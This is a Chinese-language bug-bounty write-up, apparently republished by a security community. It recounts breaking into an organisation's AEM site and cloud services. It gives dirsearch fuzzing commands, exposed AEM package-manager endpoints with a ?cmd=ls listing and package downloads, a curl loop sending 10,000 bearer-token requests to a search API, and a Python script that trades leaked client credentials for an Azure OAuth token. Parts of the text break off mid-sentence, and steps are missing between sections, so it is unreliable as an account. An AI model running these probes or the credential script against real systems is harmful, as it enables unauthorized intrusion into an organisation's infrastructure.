扫码领资料
获网安教程
来Track安全社区投稿~
赢千元稿费!还有保底奖励~(https://bbs.zkaq.cn)
在这篇文章中, 我将深入探讨我是如何通过详细分析和利用暴露的端点、硬编码的凭据以及配置错误的访问控制,成功获取目标组织关键IT基础设施和云服务访问权限的全过程。
我们先提到目标网站的名称 https://*sub.domain*.com[1]
在我的主动侦察中,我发现目标使用 AEM 作为内容管理系统 (CMS),并且由 Java 驱动。
首先,我收集了用于 AEM CMS 和 JSP 的字典以及端点。
然后,我进行了模糊测试 (fuzzing),并发现了一些有用的端点。
/crx/packmgr/index.jsp
/etc.feed.xml
/crx/bin.ext.json
/crx/.ext.infinity.json
当我发现 /etc.feed.xml 时,找到了相关内容。
然后引起我注意的是这个 URL:
https://sub.domain.com/etc/packages.feed.xml[2] 发现了许多包,这些包的格式如下:
https://sub.domain.com/etc/packages/{groupOfPackage}/{nameOfPackage}.zip
访问任何符合该格式的 URL 都可以下载任意包, 但在深入研究这些包后,没有发现任何有趣的内容。
然后再次回到使用 JSP 字典对有趣的端点进行模糊测试。
dirsearch -u https://sub.domain.com/crx/packmgr/ --random-agent -i 200 -w jsp.txt
发现了这个端点:https://sub.domain.com**/crx/packmgr/service.jsp**
我请我的朋友协助执行操作。然而,我们发现用户是 anonymous(匿名用户),除了通过添加 cmd
参数列出所有包之外,无法执行任何其他操作。
https://sub.domain.com/crx/packmgr/service.jsp?cmd=ls
https://sub.domain.com/etc/packages/{groupOfPackage}/{nameOfPackage}.zip
for i in {1..10000}; do
curl -X GET "https://platform.cloud.coveo.com/rest/search/v2?organizationId={clientId}&q=*" \
-H "Authorization: Bearer {accesstoken}" \
-H "Content-Type: application/json";
done
**.domain.com**
上的仓库的访问。**import requests
# Define the authentication parameters
tenant_id = "{tenant_id}"
client_id = "{client_id}"
client_secret = "{client_secret}"
scope = "https://sub.cloudapp.domain.com/.default"
# URL to get the OAuth token
token_url = f"https://login.microsoftonline.com/{tenant_id}/oauth2/v2.0/token"
# Define the request payload
payload = {
"grant_type": "client_credentials",
"client_id": client_id,
"client_secret": client_secret,
"scope": scope
}
# Make a POST request to get the token
response = requests.post(token_url, data=payload)
# Check if the request was successful
if response.status_code == 200:
# Parse the JSON response
token_response = response.json()
access_token = token_response.get("access_token")
print("Access Token:", access_token)
else:
# If the request failed, print the error
print("Failed to get the access token:", response.status_code, response.text)
声明:⽂中所涉及的技术、思路和⼯具仅供以安全为⽬的的学习交流使⽤,任何⼈不得将其⽤于⾮法⽤途以及盈利等⽬的,否则后果⾃⾏承担。所有渗透都需获取授权!
如果你是一个网络安全爱好者,欢迎加入我的知识星球:zk安全知识星球,我们一起进步一起学习。星球不定期会分享一些前沿漏洞,每周安全面试经验、SRC实战纪实等文章分享,微信识别二维码,即可加入。